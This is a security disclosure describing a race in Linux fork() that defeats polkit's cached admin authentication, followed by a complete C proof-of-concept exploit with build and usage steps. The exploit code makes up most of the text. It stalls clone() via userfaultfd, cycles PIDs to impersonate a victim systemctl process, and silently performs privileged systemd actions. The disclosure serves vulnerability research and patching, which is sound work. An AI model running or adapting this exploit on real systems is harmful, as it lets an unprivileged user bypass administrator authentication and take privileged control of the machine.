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/* When a (non-root) user attempts to e.g. control systemd units in the system instance from an active session over DBus, the access is gated by a polkit policy that requires "auth_admin_keep" auth. This results in an auth prompt being shown to the user, asking the user to confirm the action by entering the password of an administrator account. After the action has been confirmed, the auth decision for "auth_admin_keep" is cached for up to five minutes. Subject to some restrictions, similar actions can then be performed in this timespan without requiring re-auth: - The PID of the DBus client requesting the new action must match the PID of the DBus client requesting the old action (based on SO_PEERCRED information forwarded by the DBus daemon). - The "start time" of the client's PID (as seen in /proc/$pid/stat, field 22) must not have changed. The granularity of this timestamp is in the millisecond range. - polkit polls every two seconds whether a process with the expected start time still exists. If not, the temporary auth entry is purged. Without the start time check, this would obviously be buggy because an attacker could simply wait for the legitimate client to disappear, then create a new client with the same PID. Unfortunately, the start time check is bypassable because fork() is not atomic. Looking at the source code of copy_process() in the kernel: p->start_time = ktime_get_ns(); p->real_start_time = ktime_get_boot_ns(); [...] retval = copy_thread_tls(clone_flags, stack_start, stack_size, p, tls); if (retval) goto bad_fork_cleanup_io; if (pid != &init_struct_pid) { pid = alloc_pid(p->nsproxy->pid_ns_for_children); if (IS_ERR(pid)) { retval = PTR_ERR(pid); goto bad_fork_cleanup_thread; } } The ktime_get_boot_ns() call is where the "start time" of the process is recorded. The alloc_pid() call is where a free PID is allocated. In between these, some time passes; and because the copy_thread_tls() call between them can access userspace memory when sys_clone() is invoked through the 32-bit syscall entry point, an attacker can even stall the kernel arbitrarily long at this point (by supplying a pointer into userspace memory that is associated with a userfaultfd or is backed by a custom FUSE filesystem). This means that an attacker can immediately call sys_clone() when the victim process is created, often resulting in a process that has the exact same start time reported in procfs; and then the attacker can delay the alloc_pid() call until after the victim process has died and the PID assignment has cycled around. This results in an attacker process that polkit can't distinguish from the victim process. I have attached a reproducer as slowfork.c. Usage: Compile: $ gcc -o slowfork slowfork.c -pthread -O2 As user A, run it: $ ./slowfork No output appears at this point. As user B, run "systemctl stop cups.service". When the auth prompt comes up, wait a few seconds, then enter the required password. If the attack worked, user A should show see something like this: ====== got uffd msg good pagefault old start time: 2454277 awaiting death of 16466... cycling... cycling done cycling... cycling done scanning for previous free PID looping PID (going for 16465) resolving pagefault clone result (positive): 16466 new start time: 2454277 child died, exiting ====== cups.service should be running afterwards because the PoC running as user A restarted it. Sometimes the attack fails because the start time of the attacker process is off by one ("old start time" and "new start time" don't match); in that case, user A will get an auth popup. It tends to work after a few tries for me. (The attack would likely work much more reliably if the PoC triggered the sys_clone() on victim process creation; at the moment, it only triggers when the victim process calls execve().) Tested on Ubuntu 18.04. */ #define _GNU_SOURCE #include <pthread.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <dirent.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/wait.h> #include <sys/types.h> #include <linux/userfaultfd.h> #include <err.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <signal.h> #include <stdio.h> #include <sched.h> #include <asm/ldt.h> #include <errno.h> #include <stdbool.h> static int uffd; static void *uf_mapping; static int target_pid = -1; static char exit_stack[0x2000]; static int exit_fn(void *dummy) { syscall(__NR_exit, 0); } static pid_t consume_pid(void) { pid_t loop_pid = clone(exit_fn, exit_stack+sizeof(exit_stack), CLONE_FILES|CLONE_FS|CLONE_IO| CLONE_SIGHAND|CLONE_SYSVSEM| CLONE_VM|SIGCHLD, NULL); if (loop_pid == -1) err(1, "clone"); int status; pid_t res = wait(&status); if (res != loop_pid) err(1, "wait"); return loop_pid; } static pid_t consume_pids(void) { pid_t loop_pid; for (int i=0; i<10; i++) { loop_pid = clone(exit_fn, exit_stack+sizeof(exit_stack), CLONE_FILES|CLONE_FS|CLONE_IO| CLONE_SIGHAND|CLONE_SYSVSEM| CLONE_VM|SIGCHLD, NULL); if (loop_pid == -1) err(1, "clone"); } for (int i=0; i<10; i++) { int status; pid_t res = wait(&status); if (res == -1) err(1, "wait"); } return loop_pid; } static pid_t last_pid_for_ns(void) { char buf[20]; int fd = open("/proc/sys/kernel/ns_last_pid", O_RDONLY); int res = read(fd, buf, sizeof(buf)-1); if (res <= 0) err(1, "ns_last_pid read"); close(fd); buf[res] = 0; return atoi(buf); } static void *continue_thread(void *dummy) { struct uffd_msg msg; int res = read(uffd, &msg, sizeof(struct uffd_msg)); if (res != sizeof(struct uffd_msg)) err(1, "uffd read"); printf("got uffd msg\n"); if (msg.event != UFFD_EVENT_PAGEFAULT) errx(1, "bad event"); if (msg.arg.pagefault.address != (unsigned long)uf_mapping) errx(1, "bad address"); printf("good pagefault\n"); char stat_path[100]; sprintf(stat_path, "/proc/%d/stat", target_pid); int s_fd = open(stat_path, O_RDONLY); char s_buf[1000]; int read_res = read(s_fd, s_buf, sizeof(s_buf)-1); close(s_fd); if (read_res > 0) { s_buf[read_res] = 0; char *cs_p = s_buf; for (int i=1; i<22; i++) { cs_p = strchr(cs_p, ' '); if (cs_p == NULL) errx(1, "bad stat"); cs_p++; } long start_time_old = strtol(cs_p, NULL, 10); printf("old start time: %ld\n", start_time_old); } printf("awaiting death of %d...\n", target_pid); while (1) { int res = kill(target_pid, 0); if (res == -1 && errno == ESRCH) break; // ensure that we're always within ~100 PIDs bool printed = false; while (1) { pid_t last = last_pid_for_ns(); if (last < target_pid && last > target_pid - 100) break; if (!printed) { printf("cycling...\n"); printed = true; } consume_pids(); } if (printed) printf("cycling done\n"); usleep(10000); } printf("scanning for previous free PID\n"); pid_t child_search_pid = target_pid - 1; while (1) { if (child_search_pid <= 2) errx(1, "can't handle underflow"); int res = kill(child_search_pid, 0); if (res == -1 && errno == ESRCH) break; child_search_pid--; } printf("looping PID (going for %d)\n", child_search_pid); while (1) { pid_t loop_pid = consume_pid(); if (loop_pid == child_search_pid) break; } printf("resolving pagefault\n"); union { struct user_desc data; char pad[0x1000]; } ldt_desc = { .data = { .entry_number = 14, .read_exec_only = 1, .seg_not_present = 1 } }; struct uffdio_copy copy = { .dst = (unsigned long)uf_mapping, .src = (unsigned long)&ldt_desc, .len = 0x1000, .mode = 0 }; if (ioctl(uffd, UFFDIO_COPY, ©)) err(1, "copy"); if (copy.copy != 0x1000) errx(1, "copy len"); return NULL; } int main(void) { // Documentation for userfaultfd: // http://man7.org/linux/man-pages/man2/userfaultfd.2.html // http://man7.org/linux/man-pages/man2/ioctl_userfaultfd.2.html // https://blog.lizzie.io/using-userfaultfd.html uffd = syscall(__NR_userfaultfd, 0); if (uffd == -1) err(1, "userfaultfd"); struct uffdio_api api = { .api = 0xAA, .features = 0 }; if (ioctl(uffd, UFFDIO_API, &api)) err(1, "API"); uf_mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_32BIT, -1, 0); if (uf_mapping == MAP_FAILED) err(1, "mmap"); struct uffdio_register reg = { .range = { .start = (unsigned long)uf_mapping, .len = 0x1000 }, .mode = UFFDIO_REGISTER_MODE_MISSING }; if (ioctl(uffd, UFFDIO_REGISTER, ®)) err(1, "REGISTER"); pthread_t ct; if (pthread_create(&ct, NULL, continue_thread, NULL)) errx(1, "thread"); // Wait for the legitimate task to spawn. DIR *proc_dir = opendir("/proc"); if (proc_dir == NULL) err(1, "opendir"); while (1) { rewinddir(proc_dir); struct dirent *dent; while ((dent = readdir(proc_dir)) != NULL) { if (dent->d_name[0] < '0' || dent->d_name[0] > '9') continue; char comm_path[30]; sprintf(comm_path, "/proc/%s/comm", dent->d_name); char comm[20]; int comm_fd = open(comm_path, O_RDONLY); if (comm_fd == -1) continue; ssize_t res = read(comm_fd, comm, 19); if (res < 0) comm[0] = 0; else comm[res] = 0; close(comm_fd); if (strcmp(comm, "systemctl\n") == 0) { target_pid = atoi(dent->d_name); break; } } if (target_pid != -1) break; } // Call clone() *through the 32-bit syscall API*. unsigned long clone_flags = CLONE_SETTLS | SIGCHLD; unsigned long tls_val = (unsigned long)uf_mapping; int clone_result; asm volatile( "mov $120, %%rax\n\t" "mov %[clone_flags], %%rbx\n\t" "mov $0, %%rcx\n\t" //newsp "mov $0, %%rdx\n\t" //parent_tidptr "mov %[tls_val], %%rsi\n\t" "mov $0, %%rdi\n\t" //child_tidptr "int $0x80\n\t" "mov %%eax, %[clone_result]\n\t" : // out [clone_result] "=m"(clone_result) : // in [clone_flags] "m"(clone_flags), [tls_val] "m"(tls_val) : // clobber // 32-bit entry path zeroes the 64-bit-only registers "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15", // syscall args and retval "rax", "rcx", "rdx", "rsi", "rdi", // misc stuff "memory", "cc" ); if (clone_result < 0) { printf("clone result (negative): %d\n", clone_result); return 1; } if (clone_result == 0) { /* while (1) syscall(__NR_pause); */ char *argv[] = { "systemctl", "start", "cups.service", NULL }; syscall(__NR_execve, "/bin/systemctl", argv, environ); syscall(__NR_exit, 1); } printf("clone result (positive): %d\n", clone_result); char child_stat_path[100]; sprintf(child_stat_path, "/proc/%d/stat", clone_result); int cs_fd = open(child_stat_path, O_RDONLY); char cs_buf[1000]; int read_res = read(cs_fd, cs_buf, sizeof(cs_buf)-1); close(cs_fd); if (read_res > 0) { cs_buf[read_res] = 0; char *cs_p = cs_buf; for (int i=1; i<22; i++) { cs_p = strchr(cs_p, ' '); if (cs_p == NULL) errx(1, "bad stat"); cs_p++; } long start_time_new = strtol(cs_p, NULL, 10); printf("new start time: %ld\n", start_time_new); } int status; if (wait(&status) != clone_result) err(1, "wait"); printf("child died, exiting\n"); return 0; } |
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